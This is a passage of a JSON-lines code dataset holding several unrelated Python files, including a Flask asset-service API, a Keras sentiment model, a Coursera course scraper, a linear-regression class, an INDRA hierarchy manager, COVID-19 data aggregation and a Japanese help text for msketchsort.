assert not A in E._neighs\n\n G.addEdge(E,A)\n\n assert A in E._neighs\n\n W = graph2mat(G)\n graphToFile(G,FILEPATH_TO)\n graphToDOTFile(G,FILEPATH_TO+'.dot')\n Q = graphFromFile(FILEPATH_TO)\n\n\n\n\nimport os\nos.remove(FILEPATH_FROM)\nos.remove(FILEPATH_TO)\nos.remove(FILEPATH_TO+'.dot')\n\n\n","sub_path":"tests/Node_test.py","file_name":"Node_test.py","file_ext":"py","file_size_in_byte":1199,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"104798071","text":"from flask import request\nfrom flask_restx import Resource, reqparse\nfrom flask_babel import gettext\nfrom modules.LoginModule.LoginModule import LoginModule, current_service\nfrom modules.FlaskModule.FlaskModule import service_api_ns as api\nfrom opentera.db.models.TeraAsset import TeraAsset, AssetType\nfrom modules.DatabaseModule.DBManager import DBManager\nfrom sqlalchemy import exc\n\n\n# Parser definition(s)\nget_parser = api.parser()\nget_parser.add_argument('id_asset', type=int, help='Specific ID of asset to query information.')\nget_parser.add_argument('id_device', type=int, help='ID of the device from which to request all assets')\nget_parser.add_argument('id_session', type=int, help='ID of session from which to request all assets')\nget_parser.add_argument('id_participant', type=int, help='ID of participant from which to request all assets')\n\npost_parser = api.parser()\n\ndelete_parser = reqparse.RequestParser()\ndelete_parser.add_argument('id', type=int, help='Site ID to delete', required=True)\n\n\nclass ServiceQueryAssets(Resource):\n\n # Handle auth\n def __init__(self, _api, flaskModule=None):\n self.module = flaskModule\n Resource.__init__(self, _api)\n\n @LoginModule.service_token_or_certificate_required\n @api.expect(get_parser)\n @api.doc(description='Return assets information.',\n responses={200: 'Success',\n 500: 'Required parameter is missing',\n 501: 'Not implemented.',\n 403: 'Logged service doesn\\'t have permission to access the requested data'})\n def get(self):\n service_access = DBManager.serviceAccess(current_service)\n\n args = get_parser.parse_args()\n\n # If we have no arguments, don't do anything!\n if not any(args.values()):\n return gettext('Missing arguments'), 400\n elif args['id_device']:\n if args['id_device'] not in service_access.get_accessible_devices_ids():\n return gettext('Device access denied'), 403\n assets = TeraAsset.get_assets_for_device(device_id=args['id_device'])\n elif args['id_session']:\n if not args['id_session'] in service_access.get_accessible_sessions_ids():\n return gettext('Session access denied'), 403\n assets = TeraAsset.get_assets_for_session(session_id=args['id_session'])\n elif args['id_participant']:\n if args['id_participant'] not in service_access.get_accessible_participants_ids():\n return gettext('Participant access denied'), 403\n assets = TeraAsset.get_assets_for_participant(part_id=args['id_participant'])\n elif args['id_asset']:\n assets = [TeraAsset.get_asset_by_id(args['id_asset'])]\n if assets[0] is not None:\n if assets[0].id_device is not None and assets[0].id_device not in \\\n service_access.get_accessible_devices_ids():\n return gettext('Permission denied'), 403\n if not assets[0].id_session in service_access.get_accessible_sessions_ids():\n return gettext('Permission denied'), 403\n\n assets_list = []\n for asset in assets:\n asset_json = asset.to_json()\n assets_list.append(asset_json)\n\n return assets_list\n\n @LoginModule.service_token_or_certificate_required\n # @api.expect(post_parser)\n @api.doc(description='Adds a new asset to the OpenTera database',\n responses={200: 'Success - asset correctly added',\n 400: 'Bad request - wrong or missing parameters in query',\n 500: 'Required parameter is missing',\n 403: 'Service doesn\\'t have permission to post that asset'})\n def post(self):\n args = post_parser.parse_args()\n service_access = DBManager.serviceAccess(current_service)\n\n # Using request.json instead of parser, since parser messes up the json!\n if 'asset' not in request.json:\n return gettext('Missing asset field'), 400\n\n asset_info = request.json['asset']\n\n # All fields validation\n if 'id_asset' not in asset_info:\n return gettext('Missing id_asset field'), 400\n\n if 'id_session' in asset_info and asset_info['id_session'] < 1:\n return gettext('Unknown session'), 400\n\n if 'asset_name' in asset_info and not asset_info['asset_name']:\n return gettext('Invalid asset name'), 400\n\n if 'asset_type' in asset_info and not asset_info['asset_type'] \\\n in [asset_type.value for asset_type in AssetType]:\n return gettext('Invalid asset type'), 400\n\n # Check if the service can create/update that asset\n if asset_info['id_asset'] != 0 and 'id_session' not in asset_info:\n # Updating asset - get asset and validate session asset\n asset = TeraAsset.get_asset_by_id(asset_info['id_asset'])\n if asset:\n args['id_session'] = asset.id_session\n\n if asset_info['id_session'] not in service_access.get_accessible_sessions_ids(True):\n return gettext('Service can\\'t create assets for that session'), 403\n\n # Create a new asset?\n if asset_info['id_asset'] == 0:\n try:\n # Create asset\n new_asset = TeraAsset()\n new_asset.from_json(asset_info)\n # Prevent identity theft!\n new_asset.asset_service_uuid = current_service.service_uuid\n TeraAsset.insert(new_asset)\n # Update ID for further use\n asset_info['id_asset'] = new_asset.id_asset\n except exc.SQLAlchemyError as e:\n import sys\n print(sys.exc_info())\n self.module.logger.log_error(self.module.module_name,\n ServiceQueryAssets.__name__,\n 'post', 500, 'Database error', str(e))\n return gettext('Database error'), 500\n else:\n # Update asset\n try:\n if 'asset_service_uuid' in asset_info:\n # Prevent identity theft!\n asset_info['asset_service_uuid'] = current_service.service_uuid\n TeraAsset.update(asset_info['id_asset'], asset_info)\n except exc.SQLAlchemyError as e:\n import sys\n print(sys.exc_info())\n self.module.logger.log_error(self.module.module_name,\n ServiceQueryAssets.__name__,\n 'post', 500, 'Database error', str(e))\n return gettext('Database error'), 500\n\n # TODO: Publish update to everyone who is subscribed to assets updates\n update_asset = TeraAsset.get_asset_by_id(asset_info['id_asset'])\n\n return [update_asset.to_json()]\n\n @LoginModule.service_token_or_certificate_required\n @api.expect(delete_parser)\n @api.doc(description='Delete a specific asset',\n responses={200: 'Success',\n 403: 'Service can\\'t delete asset',\n 500: 'Database error.'})\n def delete(self):\n service_access = DBManager.serviceAccess(current_service)\n parser = delete_parser\n\n args = parser.parse_args()\n id_todel = args['id']\n\n asset = TeraAsset.get_asset_by_id(id_todel)\n\n if not asset:\n return gettext('Missing arguments'), 400\n\n if asset.id_session not in service_access.get_accessible_sessions_ids(True):\n return gettext('Service can\\'t delete assets for that session'), 403\n\n # If we are here, we are allowed to delete. Do so.\n try:\n TeraAsset.delete(id_todel=id_todel)\n except exc.SQLAlchemyError as e:\n import sys\n print(sys.exc_info())\n self.module.logger.log_error(self.module.module_name,\n ServiceQueryAssets.__name__,\n 'delete', 500, 'Database error', str(e))\n return gettext('Database error'), 500\n\n return '', 200\n\n","sub_path":"teraserver/python/modules/FlaskModule/API/service/ServiceQueryAssets.py","file_name":"ServiceQueryAssets.py","file_ext":"py","file_size_in_byte":8300,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"304839766","text":"import pandas as pd\nimport numpy as np\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.utils import shuffle\nfrom sklearn.feature_extraction.text import CountVectorizer\nfrom keras import layers\nfrom keras import backend as K\nfrom keras.models import Sequential\nimport matplotlib.pyplot as plt\n\n\ndef format_data(df):\n \"\"\"\n Return only data serve for working and display important information\n :param df:\n :return: 4 array -> 2 trainning data, 2 label data\n \"\"\"\n nb_classe = 2\n count_row = df.shape[0]\n count_col = df.shape[1]\n\n count_neg = df[df.label == 'neg']\n count_pos = df[df.label == 'pos']\n print('nb rows ', count_row)\n print('nb neg ', len(count_neg))\n print('nb pos ', len(count_pos))\n\n t = df[df.label != 'unsup']\n t = t.drop(t.columns[0], axis=1)\n del t['file']\n del t['type']\n print('nb total pos neg ', len(t))\n\n mapping = {'neg': 0, 'pos': 1}\n t = t.replace({'label': mapping})\n t = shuffle(t)\n sentences = t['review'].values\n y = t['label'].values\n sentences_train, sentences_test, y_train, y_test = train_test_split(sentences, y)\n print('train ', len(sentences_train))\n print('test ', len(sentences_test))\n\n print('nb neg train', np.count_nonzero(y_train == 0))\n print('nb pos train', np.count_nonzero(y_train == 1))\n\n print('nb neg test', np.count_nonzero(y_test == 0))\n print('nb pos test', np.count_nonzero(y_test == 1))\n return sentences_test, sentences_train, y_test, y_train\n\n\ndef vect_data(train, test):\n \"\"\"\n Data transform for working\n :param train:\n :param test:\n :return: 2 vector train and test\n \"\"\"\n vect = CountVectorizer(encoding='iso-8859-1')\n vect.fit(train)\n # print(vect.vocabulary_)\n v_train = vect.transform(train)\n v_test = vect.transform(test)\n print('v_train shape ', v_train.shape)\n print('v_test shape ', v_test.shape)\n return v_test, v_train\n\n\ndef neural_network(v_train, y_train, v_test, y_test):\n \"\"\"\n Keras neural network\n :param v_train:\n :param y_train:\n :param v_test:\n :param y_test:\n :return: history result\n \"\"\"\n input_dim = v_train.shape[1]\n model = Sequential()\n model.add(layers.Dense(10, input_dim=input_dim, activation='relu'))\n model.add(layers.Dropout(0.5))\n model.add(layers.Dense(1, activation='sigmoid'))\n model.compile(loss='binary_crossentropy', optimizer='adam', metrics=['accuracy'])\n model.summary()\n history = model.fit(v_train, y_train,\n epochs=10,\n verbose=True,\n validation_data=(v_test, y_test),\n batch_size=10)\n loss, accuracy = model.evaluate(v_train, y_train, verbose=False)\n print(\"Training Accuracy: {:.4f}\".format(accuracy))\n loss, accuracy = model.evaluate(v_test, y_test, verbose=False)\n print(\"Testing Accuracy: {:.4f}\".format(accuracy))\n return history\n\n\ndef plot_history(history):\n \"\"\"\n plot history result\n Display result\n :param history:\n :return:\n \"\"\"\n plt.style.use('ggplot')\n acc = history.history['acc']\n val_acc = history.history['val_acc']\n loss = history.history['loss']\n val_loss = history.history['val_loss']\n x = range(1, len(acc) + 1)\n plt.figure(figsize=(12, 5))\n plt.subplot(1, 2, 1)\n plt.plot(x, acc, 'b', label='Training acc')\n plt.plot(x, val_acc, 'r', label='Validation acc')\n plt.title('Training and validation accuracy')\n plt.legend()\n plt.subplot(1, 2, 2)\n plt.plot(x, loss, 'b', label='Training loss')\n plt.plot(x, val_loss, 'r', label='Validation loss')\n plt.title('Training and validation loss')\n plt.legend()\n plt.show()\n\n\nif __name__ == '__main__':\n K.tensorflow_backend._get_available_gpus()\n df = pd.read_csv(\"./films.csv\", encoding=\"ISO-8859-1\")\n x_test, x_train, y_test, y_train = format_data(df)\n v_test, v_train = vect_data(x_train, x_test)\n # print(v_test)\n history = neural_network(v_train, y_train, v_test, y_test)\n plot_history(history)\n","sub_path":"tensorflow/film/film.py","file_name":"film.py","file_ext":"py","file_size_in_byte":4063,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"563974689","text":"import cv2\nimport numpy as np\n\n# 读取图片,丢弃Alpha通道,转为灰度图\na = cv2.imread('123.png', cv2.IMREAD_GRAYSCALE)\n# 读取图片,并保留Alpha通道\nb = cv2.imread('12.png', cv2.IMREAD_UNCHANGED)\n# 取出Alpha通道\nalpha = b[:,:,3]\n# 将透明点置0\na = cv2.bitwise_and(a, alpha)\nb = cv2.bitwise_and(cv2.cvtColor(b, cv2.COLOR_BGRA2GRAY), alpha)\n# 比较两张图,打印不相等的像素个数\nprint(np.count_nonzero(cv2.compare(a, b, cv2.CMP_NE)))\n","sub_path":"capture.py","file_name":"capture.py","file_ext":"py","file_size_in_byte":474,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"227524346","text":"import argparse\nimport random\nimport xml.etree.ElementTree as ET\n\nfrom bs4 import BeautifulSoup\nfrom openpyxl import Workbook\nimport requests\n\n\ndef _main():\n args = get_args(argparse.ArgumentParser())\n\n courses_urls = get_random_courses_urls(\n fetch_page_from_web('https://www.coursera.org/sitemap~www~courses.xml'),\n args.number\n )\n courses = [\n get_course_info(fetch_page_from_web(course_url))\n for course_url in courses_urls\n ]\n\n workbook = Workbook()\n output_courses_info_to_xlsx(workbook, courses)\n workbook.save(args.path)\n\n\ndef get_args(parser):\n parser.add_argument(\n 'path',\n help='Path to output file'\n )\n parser.add_argument(\n '-n',\n '--number',\n help='Number of courses to get',\n type=int,\n default=20\n )\n\n return parser.parse_args()\n\n\ndef fetch_page_from_web(url, encoding='utf-8'):\n response = requests.get(url)\n response.encoding = encoding\n return response.text\n\n\ndef get_random_courses_urls(courses_page, number):\n courses = ET.fromstring(courses_page)\n namespace = {'xmlns': \"http://www.sitemaps.org/schemas/sitemap/0.9\"}\n courses_urls = [\n loc.text for loc in courses.findall('.//xmlns:loc', namespace)\n ]\n\n return random.sample(courses_urls, k=number)\n\n\ndef get_course_info(course_page):\n course = BeautifulSoup(course_page, 'html.parser')\n\n language_node = course.select_one('div.rc-Language')\n language = language_node.text if language_node else None\n start_node = course.select_one('div.startdate')\n start = start_node.text if start_node else None\n weeks_nodes = course.select('div.week-heading')\n if weeks_nodes:\n duration = int(''.join(\n char for char in weeks_nodes[-1].text if char.isdigit()\n ))\n else:\n duration = None\n stars_parent_node = course.select_one('div.rc-RatingsHeader')\n if stars_parent_node:\n stars = stars_parent_node.select_one('div.ratings-text').text\n else:\n stars = None\n\n return {\n 'name': course.h1.text,\n 'language': language,\n 'start': start,\n 'duration': duration,\n 'stars': stars,\n }\n\n\ndef output_courses_info_to_xlsx(workbook, courses):\n worksheet = workbook.active\n headers = [\n 'Название',\n 'Язык',\n 'Дата начала',\n 'Количество недель',\n 'Средняя оценка',\n ]\n worksheet.append(headers)\n\n for course in courses:\n worksheet.append([\n course['name'] or '-',\n course['language'] or '-',\n course['start'] or '-',\n course['duration'] or '-',\n course['stars'] or '-',\n ])\n\n\nif __name__ == '__main__':\n _main()\n","sub_path":"coursera.py","file_name":"coursera.py","file_ext":"py","file_size_in_byte":2798,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"604409051","text":"# Project Imports\nfrom RegressionClassifier import RegressionClassifier\n\nimport numpy as np\nimport math\nimport sys\nfrom mpl_toolkits.mplot3d import Axes3D\nfrom matplotlib import cm\nfrom matplotlib.ticker import LinearLocator, FormatStrFormatter\nimport matplotlib.pyplot as plt\nimport numpy as np\n\nclass LinearRegressionClassifier(RegressionClassifier):\n def __init__(self, num_variables, learning_rate, threshold):\n RegressionClassifier.__init__(self, num_variables=num_variables, learning_rate=learning_rate, threshold=threshold)\n self.theta0 = 0\n self.theta1 = 0\n self.cost_func = []\n self.theta0_iter = []\n self.theta1_iter = []\n self.theta = np.zeros(num_variables)\n\n def compute_func(self, theta, x):\n result = 0\n if (theta.shape[0] != x.shape[0]):\n raise Exception(\"Unexpected shape of theta or x parameters\")\n\n per_element_sum = theta * x\n result = np.sum(per_element_sum)\n return result\n\n def compute_cost_func(self, theta):\n cost = 0\n for i, ith_training_data in enumerate(self.training_data):\n y_i = ith_training_data[0]\n x_i = ith_training_data[1:]\n cost += pow((self.compute_func(theta, x = x_i) - y_i), 2)\n\n cost = (1 / (2 * self.num_training_data)) * cost\n return cost\n\n def plot_contour_graph(self):\n cost_values = np.zeros((100, 100))\n\n min_theta0 = min(self.theta0_iter)\n max_theta0 = max(self.theta0_iter)\n\n min_theta1 = min(self.theta1_iter)\n max_theta1 = max(self.theta1_iter)\n\n theta0_mg = np.linspace(min_theta0, max_theta0, 100)\n theta1_mg = np.linspace(min_theta1, max_theta1, 100)\n\n for i, t0 in enumerate(theta0_mg):\n for j, t1 in enumerate(theta1_mg):\n cost = self.compute_cost_func(theta0 = t0, theta1 = t1)\n cost_values[i, j] = cost\n\n fig = plt.figure()\n ax = fig.gca(projection='3d')\n\n surf = ax.plot_surface(theta0_mg, theta1_mg, cost_values, cmap=cm.coolwarm, antialiased=False)\n\n fig.colorbar(surf)\n plt.show()\n\n def gradient_descent(self, original_theta0, original_theta1):\n # Set the initial difference to max infinity\n theta0_diff = sys.maxsize\n theta1_diff = sys.maxsize\n theta_diff = np.full(len(self.theta), sys.maxsize)\n\n iteration = 0\n\n print(\"Initial Theta0: %s Initial Theta1: %s\" % (self.theta0, self.theta1))\n\n # Reset the theta0, theta1 and cost function calculations\n self.theta0_iter = []\n self.theta1_iter = []\n self.cost_func = []\n\n while (np.greater(theta_diff, self.threshold).any()):\n derivative_theta_i = np.zeros(len(self.theta))\n\n for i, ith_training_data in enumerate(self.training_data):\n y_i = ith_training_data[0]\n x_i = ith_training_data[1:]\n derivative_theta_i += x_i * (self.compute_func(theta = self.theta, x = x_i) - y_i)\n\n theta_new = self.theta - (1 / self.num_training_data) * self.learning_rate * derivative_theta_i\n\n theta_diff = abs(theta_new - self.theta)\n\n # self.theta0_iter.append(self.theta0)\n # self.theta1_iter.append(self.theta1)\n # Update the cost function\n self.cost_func.append(self.compute_cost_func(self.theta))\n\n self.theta = theta_new\n\n print(\"Iteration: %s Theta0: %s Theta1: %s\" % (iteration, self.theta[0], self.theta[1]))\n iteration += 1\n\n print(\"Original: theta0: %s theta1: %s\" % (original_theta0, original_theta1))\n print(\"My Guess: theta0: %s theta1: %s\" % (self.theta[0], self.theta[1]))","sub_path":"LinearRegressionClassifier.py","file_name":"LinearRegressionClassifier.py","file_ext":"py","file_size_in_byte":3770,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"384244251","text":"from src.modules.reporting import *\nfrom src.modules.constants import *\nfrom matplotlib import pyplot as plt\nfrom src.modules.classes import SqliteFetcher\nfrom src.modules.thesis_plotting import *\nimport os\n\nsetup_pgf_plotting()\n\n# ============================================================================\n# IMPORT/MAKE DATA \n# ============================================================================\nnames = [\n 'energy_balanced_alpha70.pickle',\n 'inverse_low_E.pickle',\n 'inverse_high_E.pickle',\n 'inverse_performance_muon_energy.pickle'\n]\nlabels = [\n r'$w_{balanced}^{\\alpha=0.7}$',\n r'$w_{low}$',\n r'$w_{high}$',\n r'$w_{blinding}$'\n]\nx = np.linspace(0.0, 3.0, 200)\nd = {\n 'x': [],\n 'y': [],\n 'xlabel': r'Energy [GeV]',\n 'ylabel': r'Weight',\n 'xscale': 'log',\n 'yscale': 'log',\n 'label': [],\n 'title': 'Regression Weights'\n}\nfor name, label in zip(names, labels):\n path = PATH_DATA_OSCNEXT + '/weights/' + name\n interpolator = pickle.load(\n open(path, 'rb')\n )\n y = interpolator(x)\n d['x'].append(10**x)\n d['y'].append(y)\n d['label'].append(label)\n# all_energy, all_weights = make_data()\n# indices = all_energy<3.0\n# energy = all_energy[indices]\n# weights = all_weights[indices]\n# energy, weights = sort_pairs(energy, weights)\n# bin_edges = np.linspace(0.0, 3.0, num=150)\n# energy_binned, weights_binned = bin_data(energy, weights, bin_edges)\n# energy_bins = [len(e) for e in energy_binned]\n# energy_weighted = [\n# energy_bins[i]*weights_binned[i][len(weights_binned[i])//2] for i in range(len(weights_binned))\n# ]\n# bin_edges = 10**np.linspace(0.0, 3.0, num=150)\n# d = {\n# 'data': [bin_edges[:-1], bin_edges[:-1]], \n# 'bins': [bin_edges, bin_edges],\n# 'histtype': ['step', 'step'],\n# 'alpha': [1.0, 1.0],\n# 'weights': [energy_bins, energy_weighted],\n# # 'density': [True, True],\n# 'xscale': 'log',\n# 'xlabel': r'Energy [GeV]',\n# 'ylabel': r'Count',\n# 'label': [r'Raw', r'Weighted'],\n# 'title': r'Weighted energy distribution $(N_{tot}=2\\cdot 10^6)$'\n# }\n\n\n\nf = make_plot(d, for_thesis=True)\nax = f.gca()\n\n# Standard ratio of width to height it 6.4/4.8\n# Standard figure: FOTW = 1.0\n# Subfigure 1/2: FOTW = 0.65. Remember to use a .5 cm of left and 0 cm of right\n# single_fig, 2subfigs\nFOTW = get_frac_of_textwidth(keyword='single_fig')\nwidth = get_figure_width(frac_of_textwidth=FOTW)\nheight = get_figure_height(width=width)\nf.set_size_inches(width, height)\n\n# ============================================================================\n# SAVE PGF AND PNG FOR VIEWING \n# ============================================================================\n\npath = Path(os.path.realpath(__file__))\nsave_thesis_pgf(path, f, save_pgf=True)\n","sub_path":"reports/thesis_plots/EnergyWeights/script.py","file_name":"script.py","file_ext":"py","file_size_in_byte":2775,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"70438700","text":"import os\nimport rdflib\nimport functools32\n\ndef get_uri(ns, id):\n if ns == 'HGNC':\n return 'http://identifiers.org/hgnc.symbol/' + id\n elif ns == 'UP':\n return 'http://identifiers.org/uniprot/' + id\n elif ns == 'BE' or ns == 'INDRA':\n return 'http://sorger.med.harvard.edu/indra/entities/' + id\n else:\n raise ValueError('Unknown namespace %s' % ns)\n\nclass HierarchyManager(object):\n \"\"\"Store hierarchical relationships between different types of entities.\n\n Used to store, e.g., entity hierarchies (proteins and protein families)\n and modification hierarchies (serine phosphorylation vs. phosphorylation).\n\n Parameters\n ----------\n rdf_file : string\n Path to the RDF file containing the hierarchy.\n\n Attributes\n ----------\n graph : instance of `rdflib.Graph`\n The RDF graph containing the hierarchy.\n \"\"\"\n prefixes = \"\"\"\n PREFIX rn: \n \"\"\"\n\n def __init__(self, rdf_file):\n \"\"\"Initialize with the path to an RDF file\"\"\"\n self.graph = rdflib.Graph()\n self.graph.parse(rdf_file)\n self.isa_closure = {}\n self.partof_closure = {}\n\n def build_transitive_closures(self):\n \"\"\"Build the transitive closures of the hierarchy.\n\n This method constructs dictionaries which contain terms in the\n hierarchy as keys and either all the \"isa+\" or \"partof+\" related terms\n as values.\n \"\"\"\n for rel, tc_dict in (('isa', self.isa_closure),\n ('partof', self.partof_closure)):\n qstr = self.prefixes + \"\"\"\n SELECT ?x ?y WHERE {{\n {{?x rn:{0}+ ?y .}}\n }}\n \"\"\".format(rel)\n res = self.graph.query(qstr)\n for x, y in res:\n xs = x.toPython()\n ys = y.toPython()\n try:\n tc_dict[xs].append(ys)\n except KeyError:\n tc_dict[xs] = [ys]\n\n @functools32.lru_cache(maxsize=100000)\n def find_entity(self, x):\n \"\"\"\n Get the entity that has the specified name (or synonym).\n\n Parameters\n ----------\n x : string\n Name or synonym for the target entity.\n \"\"\"\n\n qstr = self.prefixes + \"\"\"\n SELECT ?x WHERE {{\n ?x rn:hasName \"{0}\" .\n }}\n \"\"\".format(x)\n res = self.graph.query(qstr)\n if list(res):\n en = list(res)[0][0].toPython()\n return en\n else:\n return None\n\n\n def isa(self, ns1, id1, ns2, id2):\n \"\"\"Indicate whether one entity has an \"isa\" relationship to another.\n\n Parameters\n ----------\n ns1 : string\n Namespace code for an entity.\n id1 : string\n URI for an entity.\n ns2 : string\n Namespace code for an entity.\n id2 : string\n URI for an entity.\n\n Returns\n -------\n bool\n True if t1 has an \"isa\" relationship with t2, either directly or\n through a series of intermediates; False otherwise.\n \"\"\"\n # if id2 is None, or both are None, then it's by definition isa:\n if id2 is None or (id2 is None and id1 is None):\n return True\n # If only id1 is None, then it cannot be isa\n elif id1 is None:\n return False\n\n if self.isa_closure:\n term1 = get_uri(ns1, id1)\n term2 = get_uri(ns2, id2)\n ec = self.isa_closure.get(term1)\n if ec is not None and term2 in ec:\n return True\n else:\n return False\n else:\n return self.query_rdf(id1, 'rn:isa+', id2)\n\n def partof(self, ns1, id1, ns2, id2):\n \"\"\"Indicate whether one entity is physically part of another.\n\n Parameters\n ----------\n ns1 : string\n Namespace code for an entity.\n id1 : string\n URI for an entity.\n ns2 : string\n Namespace code for an entity.\n id2 : string\n URI for an entity.\n\n Returns\n -------\n bool\n True if t1 has a \"partof\" relationship with t2, either directly or\n through a series of intermediates; False otherwise.\n \"\"\"\n # if id2 is None, or both are None, then it's by definition isa:\n if id2 is None or (id2 is None and id1 is None):\n return True\n # If only id1 is None, then it cannot be isa\n elif id1 is None:\n return False\n\n if self.partof_closure:\n term1 = get_uri(ns1, id1)\n term2 = get_uri(ns2, id2)\n ec = self.partof_closure.get(term1)\n if ec is not None and term2 in ec:\n return True\n else:\n return False\n else:\n return self.query_rdf(id1, 'rn:partof+', id2)\n\n @functools32.lru_cache(maxsize=100000)\n def query_rdf(self, id1, rel, id2):\n term1 = self.find_entity(id1)\n term2 = self.find_entity(id2)\n qstr = self.prefixes + \"\"\" \n SELECT (COUNT(*) as ?s) WHERE {{\n <{}> {} <{}> .\n }}\n \"\"\".format(term1, rel, term2)\n res = self.graph.query(qstr)\n count = [r[0] for r in res][0]\n if count.toPython() == 1:\n return True\n else:\n return False\n\n# Load the default entity and modification hierarchies\nentity_file_path = os.path.join(os.path.dirname(__file__),\n '../resources/entity_hierarchy.rdf')\nmod_file_path = os.path.join(os.path.dirname(__file__),\n '../resources/modification_hierarchy.rdf')\nact_file_path = os.path.join(os.path.dirname(__file__),\n '../resources/activity_hierarchy.rdf')\nccomp_file_path = os.path.join(os.path.dirname(__file__),\n '../resources/cellular_component_hierarchy.rdf')\n\"\"\"Default entity hierarchy loaded from the RDF file at\n`resources/entity_hierarchy.rdf`.\"\"\"\nentity_hierarchy = HierarchyManager(entity_file_path)\nentity_hierarchy.build_transitive_closures()\n\"\"\"Default modification hierarchy loaded from the RDF file at\n`resources/modification_hierarchy.rdf`.\"\"\"\nmodification_hierarchy = HierarchyManager(mod_file_path)\nmodification_hierarchy.build_transitive_closures()\n\"\"\"Default activity hierarchy loaded from the RDF file at\n`resources/activity_hierarchy.rdf`.\"\"\"\nactivity_hierarchy = HierarchyManager(act_file_path)\nactivity_hierarchy.build_transitive_closures()\n\"\"\"Default cellular_component hierarchy loaded from the RDF file at\n`resources/cellular_component_hierarchy.rdf`.\"\"\"\nccomp_hierarchy = HierarchyManager(ccomp_file_path)\n\nhierarchies = {'entity': entity_hierarchy,\n 'modification': modification_hierarchy,\n 'activity': activity_hierarchy,\n 'cellular_component': ccomp_hierarchy}\n","sub_path":"indra/preassembler/hierarchy_manager.py","file_name":"hierarchy_manager.py","file_ext":"py","file_size_in_byte":7028,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"526108830","text":"import pandas as pd\nimport os\n\ndef get_csvs():\n folder = os.path.join(\"COVID-19\", \"csse_covid_19_data\",\n \"csse_covid_19_daily_reports\")\n file_list = [os.path.join(folder,i) for i in os.listdir(folder) if i.endswith('.csv')]\n cov_per_day = [pd.read_csv(i) for i in file_list]\n return file_list, cov_per_day\n\ndef replace_data(col_name):\n if col_name=='Mainland China':\n return 'China'\n elif col_name== 'Korea, South':\n return 'South Korea'\n elif col_name == 'United Kingdom':\n return 'UK'\n return col_name\n\ndef get_population_data(cov_19):\n pop = pd.read_csv('pop_data.csv',sep='\\t',header=None)\n pop = pop.iloc[:,[1,2]]\n pop.columns = ['Country','Population']\n cov_19['Country'] = cov_19.index\n combined = pd.merge(cov_19, pop, on='Country', how='left')\n combined.index= combined['Country']\n return combined.loc[:,combined.columns!='Country']\n\ndef get_cov_data():\n file_list, cov_per_day = get_csvs()\n for i in cov_per_day:\n i.loc[:,'Country/Region'] = i.loc[:,'Country/Region'].apply(replace_data)\n cumulative = [i.groupby('Country/Region').sum() for i in cov_per_day]\n\n df = pd.concat([i['Confirmed'] for i in cumulative], axis=1)\n df.columns = [os.path.basename(i).replace(\".csv\",\"\") for i in file_list]\n df.columns = pd.to_datetime(df.columns)\n df = get_population_data(df)\n return df","sub_path":"cov19.py","file_name":"cov19.py","file_ext":"py","file_size_in_byte":1408,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"262707652","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nimport os\nimport shutil\n\nimport nysol.mcmd as nm\nimport nysol.util as nu\nimport nysol.util.margs as margs\nimport nysol.util.mtemp as mtemp\nfrom nysol.mining import extcore as extMining\n\n\nclass msketchsort(object):\n\n\thelpMSG=\"\"\"\n---------------------------------\nmsketchsort.py version #{$version}\n---------------------------------\n概要) スケッチソートを利用した全ベクトルペアの距離計算\n特徴) データに含まれる全ベクトル間の距離を高速に計算できる。\n 窓を指定することで比較するベクトルの範囲を限定することができる。\n\n書式) #{$cmd} e= tid= [dist=] [th=] [mr=] [wf=] [ws=] [dist=C|H] i= [o=] [--help]\n\ne= : ベクトルの各要素となる項目名【必須】ex) e=val1,val2,val3,val4\ntid= : ベクトルを識別するための項目名(i=上の項目名)【必須】\ndist= : ベクトル間の距離計算の方法。(省略時は C が指定される)\n C (cosine distance): コサイン距離 (th=0-2)\n H (Haming distance): ハミング距離 (th=1- )\nth= : dist=で指定された距離計算について、ここで指定された値以下のペアを出力する。省略時は0.01が設定される。\nmr= : ペアを逃す確率を指定 (missing ratio) False Negative。省略時は0.00001が設定される。\nwf= : ウィンドウ項目。ex) 日付\nws= : ウィンドウサイズの上限(0以上の整数)【0で制限なし,default:0】\n wfで指定した窓に含まれる全ペアを窓をずらしながら計算する。\ni= : 入力ファイル\no= : 出力ファイル\nseed= : 乱数の種(1以上の整数,default:1)\n-uc : データ点を0を中心に移動させない\n\n\n例1: input1.csv\ntid,val1,val2,val3,val4,val5\n0,4,9,1,8,7\n1,2,6,3,4,10\n2,3,10,1,7,4\n3,2,8,1,3,10\n4,4,7,2,3,10\n5,8,4,3,1,9\n6,6,7,5,1,9\n7,5,4,2,6,7\n8,3,10,1,5,9\n9,9,1,8,7,3\n10,5,2,3,10,9\n11,4,9,1,8,7\n\n$ msketchsort.py i=input1.csv tid=tid e=val1,val2,val3,val4,val5 o=out1.csv\nSketchSort version 0.0.8\nWritten by Yasuo Tabei\n\ndeciding parameters such that the missing edge ratio is no more than 1e-05\ndecided parameters:\nhamming distance threshold: 1\nnumber of blocks: 4\nnumber of chunks: 14\n.\n.\n.\n\n$ more out1.csv\ndistance,tid,tid2\n5.96046e-08,0,11\n\n\n\n例2: 